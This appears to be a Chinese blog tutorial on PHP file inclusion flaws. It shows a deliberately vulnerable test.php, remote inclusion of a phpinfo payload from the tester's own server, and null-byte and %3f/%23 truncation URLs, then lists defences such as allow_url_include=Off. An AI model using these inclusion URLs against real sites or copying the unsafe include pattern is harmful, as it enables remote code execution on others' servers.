当前位置:网站首页>文件包含漏洞(二)
文件包含漏洞(二)
2022-07-02 05:39:00 【Aτθ】
一、包含远程文件
1、原理分析
当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On、allow_url_include=ON 两个条件同时
为 On 允许远程包含文件。
2、实操
2.1 虚拟机搭建test.php
<?php
include $_GET['file'];
?>


2.2 python本地搭建简历服务器
<?php
phpinfo();
?>
C:\Users\Administrator

2.3 远程文件包含
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt

二、文件包含截断攻击
文件包含截断攻击,在 php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,
截断会受 gpc影响,如果 gpc为 On 时,%00会被转以成\0 截断会失败。
<?php
include $GET['file'].'.php';
?>
传入 file 文件名拼接.php 在用 include 引入文件。file 参数可控的会造成漏洞。
1、文件包含%00 截断
上传带有恶意代码的文件到网站目录,包含引入再进行 00 截断。
当前测试的版本是 php 5.2.17,gpc=off

http://192.168.127.132/test.php?file=1.jpg%00

2、远程包含截断
2.1 原理分析
适用于远程截断的字符有:
| 符号 | URL编码 |
|---|---|
| # | %23 |
| ? | %3f |
| 00 | %00 |
以上这个字符都可以截断:
allow_url_fopen =On
allow_url_include=On
2.2 环境搭建
<?php
include $_GET['file'];
?>


2.3 python本地搭建简历服务器
<?php
phpinfo();
?>
C:\Users\Administrator

2.4 远程文件包含
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%00

http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%3f

http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%23

三、防御方案
1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。
5.设置 allow_url_include为 Off
边栏推荐
- Opencv LBP features
- Minimum value ruler method for the length of continuous subsequences whose sum is not less than s
- all3dp. All Arduino projects in com website (2022.7.1)
- Generate QR code
- Database batch insert data
- 在线音乐播放器app
- Balsamiq wireframes free installation
- Uva548 tree
- 7. Eleven state sets of TCP
- all3dp.com网站中全部Arduino项目(2022.7.1)
猜你喜欢

Centos8 installation mysql8.0.22 tutorial
![[golang syntax] be careful with the copy of slices](/img/5e/1c82c58940939b94d03377ebdc03e3.jpg)
[golang syntax] be careful with the copy of slices

3D 打印机 G 代码命令:完整列表和教程

Fabric. JS right click menu

Gee dataset: chirps pentad high resolution global grid rainfall dataset
![Gee: use of common mask functions in remote sensing image processing [updatemask]](/img/55/bf4ef5fc923242e72caab71f1a4e4b.jpg)
Gee: use of common mask functions in remote sensing image processing [updatemask]

Brew install * failed, solution

Huawei Hongmeng OS, is it OK?

Youth training camp -- database operation project

Fabric.js 将本地图像上传到画布背景
随机推荐
Zzuli:1068 binary number
Fabric. JS round brush
460. LFU cache bidirectional linked list
线程池批量处理数据
Software testing learning - day 4
5g market trend in 2020
Gee series: Unit 3 raster remote sensing image band characteristics and rendering visualization
Gee: create a new feature and set corresponding attributes
Sliding window on the learning road
Importation de studio visuel
idea開發工具常用的插件合集匯總
Operator details
all3dp. All Arduino projects in com website (2022.7.1)
记录sentry的踩坑之路
Financial portal related information
2022-2-14 learning xiangniuke project - Section 7 account setting
金融门户相关信息
Applet jumps to official account
Fabric. JS right click menu
“简单”的无限魔方